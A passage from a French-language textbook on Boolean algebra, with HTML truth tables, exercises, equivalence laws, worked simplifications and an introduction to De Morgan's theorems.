border-left-width: 1; border-right-style: solid; border-right-width: 1; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: solid; border-right-width: 1; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: solid; border-right-width: 1; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: solid; border-right-width: 1; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: solid; border-right-width: 1; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: solid; border-right-width: 1; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: solid; border-right-width: 1; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> </table> ====Exemple 3 -- (x + yz')w==== <table border="1" cellspacing="1" width="400" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#000000" style="border-width: 0" height="173"> <tr> <td width="47" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> x</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> y</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> z</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> w</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> (x + yz')w</td> </tr> <tr> <td width="47" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="47" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="48" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> </tr> </table> ====Exercices==== Produire les tables de vérité pour les opérations suivantes : # NAND : x NAND y = NON (x ET y) # NOR : x NOR OU y = NON (x OU y) # XOR : x XOR y est vrai si et SEULEMENT si soit x ou y est vrai. Produire les tables de vérité pour : # xyz # x'y'z' # xyz + xy'z # xz # (x + y)' # x'y' # (xy)' # x' + y' ===Lois de l'algèbre booléenne=== En algèbre ordinaire, deux expressions peuvent être équivalentes l'une avec l'autre, c.a.d. xz + yz = (x + y)z. La même chose peut être dit pour l'algèbre booléenne. Construisons les tables de vérité pour : :xz + yz :(x + y)z '''xz + yz''' <table border="1" cellspacing="1" width="400" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#000000" style="border-width: 0" height="173"> <tr> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> x</td> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> y</td> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> z</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> xz + yz</td> </tr> <tr> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 1</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> </tr> </table> '''(x + y)z''' <table border="1" cellspacing="1" width="400" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#000000" style="border-width: 0" height="173"> <tr> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> x</td> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> y</td> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> z</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center" height="19"> (x + y)z</td> </tr> <tr> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="19"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="19"> 1</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 0</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 0</td> </tr> <tr> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="71" style="border-style: none; border-width: medium" align="center" height="20"> 1</td> <td width="128" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center" height="20"> 1</td> </tr> </table> En comparant les deux tables, vous noterez que les sorties (i.e. la dernière colonne) des deux tables sont les mêmes ! '''Définition''' :Nous dirons que deux expressions booléennes sont '''équivalentes''' si la sortie de leurs tables de vérité sont les mêmes. Nous faisons la liste de quelques expressions qui sont équivalentes l'une avec l'autre :<math>x + 0 = x\,</math> :<math>x \times 1 = x\,</math> :<math>xz + yz = (x + y)z\,</math> :<math>x + x' = 1\,</math> :<math>x \times x' = 0\,</math> :<math>x \times x = x\,</math> :<math>x + yz = (x + y)(x + z)\,</math> ''Prenez quelques moments pour réfléchir pourquoi chacune de ces lois peuvent être vraies.'' La dernière loi n'est pas évidente mais nous pouvons démontrer qu'elle est vraie en utilisant les autres lois : :<math> \begin{matrix} (x + y)(x + z) &=& x(x + z) + y(x + z)\\ &=& xx + xz + xy + yz\\ &=& x + xz + xy + yz\\ &=& x(1 + z + y) + yz\\ &=& x + yz \end{matrix} </math> Comme le Dr Kuo Tzee-Char, lecteur honoraire de mathématiques de l'Université de Sydney, qui aime à dire : "La seule chose à se rappeler en mathématiques est qu'il n'y a rien à se rappeler. Rappelez-vous cela !". Vous ne devez pas essayer de vous encombrer la mémoire avec les lois ainsi établies, parceque certaines d'entre elles sont vraiment évidentes une fois que vous êtes familier avec les opérations ET, OU et NON. Vous devez seulement essayer de vous rappeler de choses plus simples, une fois que vous aurez développé un haut degré de familiarité, vous serez d'accord avec le fait qu'il n'y a vraiment rien à se rappeler. ====Simplification==== Une fois que nous avons ces lois, nous voulons simplifier les expressions booléennes comme nous le faisons avec l'algèbre ordinaire. Nous pouvons simplifier l'exemple avec facilité : :<math> \begin{matrix} xyzw' + xyzw &=& xyz(w + w')\\ &=& xyz \end{matrix} </math> La même chose peut être dite à propos de : :<math> \begin{matrix} (x + y)(x' + y') &=& x(x' + y') + y(x' + y')\\ &=& xx' + xy' + yx' + yy'\\ &=& 0 + xy' + yx' + 0\\ &=& xy' + yx' \end{matrix} </math> A partir de ces deux exemples, nous pouvons voir que les expressions qui semblent complexes peuvent être réduites très significativement. Les expressions de la forme ''somme de produit'' ont un intérêt particulier, par exemple : :xyz + xyz' + xy'z + x'yz + x'y'z' + x'y'z Nous pouvons factoriser et simplifier l'expression comme suit :<math> xyz + xyz' + xy'z + x'yz + x'y'z' + x'y'z </math> :<math> =\ xy(z + z') + xy'z + x'yz + x'y'(z' + z) </math> :<math> =\ xy + xy'z + x'yz + x'y' </math> :<math> =\ x(y + y'z) + x'(yz + y') </math> C'est un peu plus difficile d'aller plus avant, mais nous le pouvons. Nous utilisons l'identité : :x + yz = (x + y)(x + z) ''Si l'étape suivante n'est pas claire, essayer de construire des tables de vérité comme une aide à la compréhension.'' :<math> \begin{matrix} &=&\ x(y + z) + x'(z + y')\\ &=&\ xy + xz + x'z + x'y'\\ &=&\ xy + (x + x')z + x'y'\\ &=&\ xy + z + x'y' \end{matrix} </math> Et ceci est le plus loin que nous pouvons aller en utilisant l'approche algébrique (ou par tout autre approche). L'approche algébrique pour la simplication est liée au principe d'élimination. Considéront en algebre ordinaire : :x + y - x Nous simplifions par le réarrangement de l'expression comme suit :(x - x) + y = y Bien que nous faisons seulement le processus par la pensée, l'idée est claire : nous ''mettons'' ensemble les termes qui s'annulent eux-mêmes et ainsi, l'expression est simplifiée. ====Théorèmes de De Morgan==== Jusque là, nous n'avons seulement traité que les expressions de la forme ''somme de produits'' c.a.d. xyz + x'z + y'z'. Les théorèmes de De Morgan nous aident avec un autre type d'expressions booléennes. Nous revisitons les tables de vérité ET et OU : <center><table border="1" cellpadding="2"> <tr> <th>x</th> <th>y</th> <th>x X y</th> <th>x + y</th> </tr> <tr> <td>0</td> <td align="center">0</td> <td align="center">0</td> <td align="center">0</td> </tr> <tr> <td>0</td> <td>1</td> <td align="center">0</td> <td align="center">1</td> </tr> <tr> <td>1</td> <td>0</td> <td align="center">0</td> <td align="center">1</td> </tr> <tr> <td>1</td> <td>1</td> <td align="center">1</td> <td align="center">1</td> </tr> </table></center> Vous auriez raison de soupçonner que les deux opérations sont connectées d'une façon ou d'une autre en raison des ressemblances entre les deux tables. En fait, si vous inversez l'opération ET, i.e. vous exécutez l'opération NON sur x ET y. Les sorties des deux opérations sont presque les mêmes : <center><table border="1" cellpadding="2"> <tr> <th>x</th> <th>y</th> <th>(x X y)'</th> <th>x + y</th> </tr> <tr> <td>0</td> <td>0</td> <td><center>1</center></td> <td><center>0</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>1</center></td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>1</center></td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>0</center></td> <td><center>1</center></td> </tr> </table></center> La connexion entre ET, OU et NON est révélée par la ''réciprocité'' de la sortie x + y en la remplaçant par x' + y'. <center><table border="1" cellpadding="2"> <tr> <th>x</th> <th>y</th> <th>(x X y)'</th> <th>x' + y'</th> </tr> <tr> <td>0</td> <td>0</td> <td><center>1</center></td> <td><center>1</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>1</center></td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>1</center></td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>0</center></td> <td><center>0</center></td> </tr> </table></center> Maintenant, les deux sorties coïncident et ainsi, nous pouvons les égaliser : :(xy)' = x' + y' ceci est une des lois de De Morgan. L'autre qui peut être dérivée en utilisant un procédé similaire est : :(x + y)' = x'y' Nous pouvons appliquer ces deux lois pour simplifier les équations: '''Exemple 1'''<br> Exprimer ''x'' sous la forme de ''somme de produit'' :<math> \begin{matrix} x &=& (ab' + c)'\\ &=& (ab')'c'\\ &=& (a' + b)c'\\ &=& a'c' + bc' \end{matrix} </math> '''Exemple 2'''<br> Exprimer ''x'' sous la forme de ''somme de produit'' :<math> \begin{matrix} x &=& (a + b + c)'\\ &=& (a + b)'c'\\ &=& a'b'c'\\ \end{matrix} </math>Ceci indique une 